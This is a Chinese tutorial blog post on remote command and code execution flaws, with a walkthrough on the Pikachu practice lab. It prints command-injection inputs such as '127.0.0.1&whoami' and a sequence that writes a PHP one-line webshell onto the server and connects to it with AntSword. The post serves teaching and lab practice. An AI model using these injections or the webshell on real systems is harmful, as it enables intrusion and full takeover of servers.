rce漏洞包含命令执行漏洞与代码执行漏洞
文章目录
前言 什么是rce漏洞?
1.rce漏洞产生原因:
2.rce的分类:
命令执行漏洞:
命令拼接符:
常用函数:
代码执行漏洞:
常用函数:
分类:
3.防御措施:
总结
前言 什么是rce漏洞?
由于应用程序在处理用户输入时未能正确验证、过滤或限制输入数据,导致hacker能通过网络在目标系统上执行任意代码或命令,从而完全控制受影响的系统。
1.rce漏洞产生原因:
在研发员开发中,为了考虑代码的灵活性与简洁性,会调用能将字符串转化成代码的函数去处理,但是研发员调用这些函数,没有考虑hacker能控制这个字符串或命令,造成代码执行漏洞与命令执行漏。
2.rce的分类:
命令执行漏洞:
实例:pikachu靶场
输入:127.0.0.1
输入:恶意命令whoami查看隐私信息:
报错。
但是我们用命令拼接符&拼接:127.0.0.1&whoami (ping 127.0.0.1 正确命令 & whoami 正确命令(限制))
输出whoami信息,说明服务器对输入的恶意命令做了限制,但我们可以进行命令拼接绕过限制,输入我们的恶意命令。
命令拼接符:
定义:把两条以上的命令拼接在一起的特殊符号。
Windows系统命令拼接符:
&:拼接符两边只要有一个为真就执行
实例:
回显本地ip地址
ifconfig&whoami (ifconfig Lunx命令 错误命令 & 正确命令(限制))
&&:命令拼接符拼接多个命令时,遇到假的终止执行
ifconfig&&whoami (ifconfig Lunx命令 错误命令 & 正确命令(限制))
|:命令拼接符拼接多个命令时,只要有一个为假都不执行; 如果为真都执行,但只是回显最后一个命令的运行结果;
Ifconfig|127.0.0.1 (ifconfig Lunx命令 错误命令 & 正确命令)
127.0.0.1|ifconfig (ping 127.0.0.1 正确命令 &(ifconfig Lunx命令 错误命令))
直接返回如下页面:
127.0.0.1|whoami (ping 127.0.0.1 正确命令 & whoami 正确命令(限制))
||:命令拼接符拼接多个命令时,按顺序执行,遇到真的就执行且只执行一次;
ifconfig||127.0.0.1 (ifconfig Lunx命令 错误命令 & 正确命令)
127.0.0.1||ifconfig (ping 127.0.0.1 正确命令 &(ifconfig Lunx命令 错误命令))
127.0.0.1||whoami (ping 127.0.0.1 正确命令 & whoami 正确命令(限制))
Linux系统命令拼接符:
;:无论拼接的命令为真还是为假都按照顺序执行命令;
&:无论命令为真或者为假,都执行但不按照顺序执行;
&&:如果都为真时按照顺序执行;如果存在假的测终止执行
||:按顺序执行,遇到真的就执行且只执行一次;
常用函数:
system()函数:执行外部程序并显示输出
exec()函数:执行一个外部程序
shell_exec()函数:通过shell环境执行命令,并以字符串的形式返回输出
passthru()函数:执行外部命令并显示原始输出
pentl_exec函数:在当前进程空间执行指定程序
代码执行漏洞:
常用函数:
eval(),assert()函数:把字符串作为PHP代码执行
call_user_func()函数:把第一参数作为回调函数
call user func array()函数:调用回调函数,并把第一个数组参数作为回函调数的参数
arry_map()函数:为数组的每个元素应用回调函数
分类:
本地代码执行漏洞:利用本地漏洞来执行恶意代码。
必须先获得对目标系统的部分访问权限,通常是通过物理访问或已有账户登录,进入服务器后,找到输入框来执行恶意代码。
远程代码执行漏洞:从互联网执行恶意代码,
它允许攻击者不受限制地控制目标系统。
不需要物理访问或现有访问权限,它允许hacker不受限制地控制目标系统。
实例:pikachu远程代码执行命令:
rec_php文件,直接解析php代码试试?
用phpinfo();代码:
解析成功。
我们还可以进一步操作拿到webshell:
步骤:在rce_ping.php中输入127.0.0.1 &dir查看文件
有rce_php,rce_eval.php,rce_ping.php,说明我们要是上传一个码子上去,与,rce_eval.php路径相同。
开搞:127.0.0.1 & echo "<?php @eval($_POST[cmd]); ?>" > rce1.php //码子
再次在rce_ping.php中输入127.0.0.1 &dir查看文件,可以看到我们的码子
然后输入url验证一下:
因为码子上与,rce_eval.php路径相同。
rce_eval.php路径:http://pikachu-master/vul/rce/rce_eval.php
码子路径: http://pikachu-master/vul/rce/rce1.php
用中国蚁剑连接:
步骤:右键,添加数据。
只管url地址:码子的url
连接密码:一句话木马<?php @eval($_POST[cmd]); ?>中[ ]里的cmd.
点击测试连接显示连接成功。
3.防御措施:
输入验证和过滤:确保所有用户输入都经过严格的验证和过滤,避免恶意数据进入系统。
启用防御性编程:在开发中使用安全的编码实践,例如避免直接执行用户输入的命令或查询。
使用沙箱技术:将应用程序运行在受限的环境中,防止恶意代码影响整个系统。
总结
RCE漏洞是一种严重的安全漏洞类型,对系统安全构成重大威胁。